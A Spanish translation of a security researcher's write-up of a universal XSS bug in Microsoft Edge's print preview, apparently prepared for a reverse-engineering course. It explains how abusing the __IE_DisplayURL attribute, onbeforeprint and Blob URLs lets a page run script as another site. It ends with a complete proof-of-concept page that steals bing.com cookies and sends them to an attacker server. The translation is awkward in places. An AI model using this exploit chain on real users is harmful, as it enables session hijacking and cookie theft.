La traducción del artículo fue preparada especialmente para estudiantes del curso de ingeniería inversa .
Universal XSS (uXSS) es un error del navegador que le permite ejecutar código JavaScript en cualquier sitio.
Parece que XSS está en todos los sitios y parece muy interesante. Lo que es aún más interesante es cómo encontré este error. Por lo general, si se trata de uXSS, entonces esto probablemente se deba al elemento IFRAME o al alboroto con la URL, pero nunca pensé que encontraría una vulnerabilidad XSS usando la función
print()
.
Ventana de vista previa
Hablemos de lo que sucede realmente cuando Edge muestra una ventana de vista previa de impresión.
Siempre pensé que solo había una captura de pantalla realizada por tecnología como
Canvas , pero, de hecho, la página que va a imprimir se copia a
temperatura y se vuelve a reproducir.
Cuando
print()
se ejecuta en la página, vemos la siguiente actividad del sistema de archivos en
Process Monitor :

Entonces, el archivo se crea en el directorio temporal de Edge, y el contenido de este archivo es una versión ligeramente modificada de la página original que intentamos imprimir. Vamos a comparar
Antes de imprimir:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Después de imprimir:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
Hay varias cosas que podemos notar de esta comparación.
- Javascript está codificado y se representa incorrectamente.
- IFRAME ahora apunta a otro archivo local en el mismo directorio que contiene el código fuente del enlace original de
bing.com
. - El elemento HTML ahora tiene un atributo peculiar
__IE_DisplayURL
.
Con respecto al primer y segundo punto, realicé varias pruebas. Al principio, quería entender si podía obtener un código Javascript válido después de cambiar la codificación, con la esperanza de que al final pudiera ejecutar Javascript. Resultó que cualquier código dentro del elemento
<
script>
, normal o no, no se ejecutará.
El segundo elemento me ayudó a exponer el nombre de usuario del sistema operativo usando la funcionalidad
@media print{}
en CSS y selector de magia. Pude obtenerlo del valor href IFRAME. Sin embargo, esto no fue suficiente.
En el tercer párrafo, se volvió interesante, ya que este atributo es extremadamente inusual y hasta este momento no me he reunido con él. Inmediatamente lo busqué en Google y encontré varios artículos, en base a los cuales me di cuenta de que alguien Masato Kinugawa ya había jugado con
él y descubrió errores geniales.
Después de leer y practicar, descubrí que el contexto de vista previa aprende de dónde viene este documento. Esto tiene sentido porque Edge abre archivos usando el
file:
esquema URI. Con este atributo apuntando a la fuente, notará que todas las solicitudes provenientes del documento (como parte de la vista previa) imitarán exactamente el mismo comportamiento que si vinieran del sitio web original.
¿Cómo podemos usar este atributo? Debe haber alguna manera!
Ejecución de código Javascript con vista previa
Como dije antes, cualquier código JavaScript en la etiqueta de script normal será bloqueado o simplemente ignorado. Pero, ¿qué pasa si piensas en una dirección diferente? Intenté todo lo que se me ocurrió, así que te salvaré de perder el tiempo en muchos intentos fallidos e iré directo al grano.
Aquí estamos tratando con la función de impresión, así que jugué con eventos relacionados con la impresión.
"onbeforeprint"
me trajo el resultado, con la ayuda de él tuve la oportunidad de implementar un IFRAME que apuntaba a cualquier sitio web y Edge no necesitaba convertirlo primero en un archivo. ¡Casi inmediatamente, intenté implementar un IFRAME que apuntara a la URL del código Javascript y a la dama! Este código se ejecutó en el contexto de la vista previa.
Prueba de inyección de Javascript:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
Después de convertir la vista previa del documento:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
Captura de pantalla del resultado:

El hecho de que podamos ejecutar código no significa que hayamos terminado. Como dije anteriormente, debido al atributo
__IE_DisplayURL
cualquier solicitud o llamada a la API se considerará saliente del documento.
Implementación UXSS
Ahora que podemos implementar nuestro código ejecutable, necesitamos de alguna manera crear nuestra propia "vista previa del documento" con nuestro propio
__IE_DisplayURL
, y luego podemos simular cualquier sitio web que elijamos para uXSS.
¡Encontré que usando el
Blob URL puedo lograr el efecto deseado! Así que hice mi propio documento imprimible con mi atributo apuntando al sitio de destino (en mi caso
bing.com
). Contenía Javascript IFRAME, que se ejecutaba como si viniera de
bing.com
.
He implementado el siguiente código:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
Donde
top.document.getElementById('qd').value
es el siguiente documento falso para imprimir.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Todo lo que hago es leer
document.cookie
y enviarlos de vuelta al servidor.
Ahora resumamos lo que hace la versión final del exploit:
- Usando el evento
onbeforeprint
, onbeforeprint
un IFRAME que apunta a mi carga útil justo antes de imprimir. - Para inicializar, llamo a
window.print()
. - Edge muestra una ventana de vista previa mientras muestra mi código incrustado;
- El código Javascript incrustado creó una URL Blob que contiene mi propio
bing.com
imprimible de bing.com
y redirige el marco superior a esa dirección. - El contexto de vista previa de impresión considera que el contenido de mi URL de blob es imprimible real y establece el origen del documento en
bing.com
utilizando el atributo __IE_DisplayURL
. - El documento imprimible falso en sí contiene otro IFRAME que simplemente muestra el
document.cookie
de bing.com
. - ¡uXSS funciona!
Código final y video
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
Enlaces de interés:→
Microsoft.com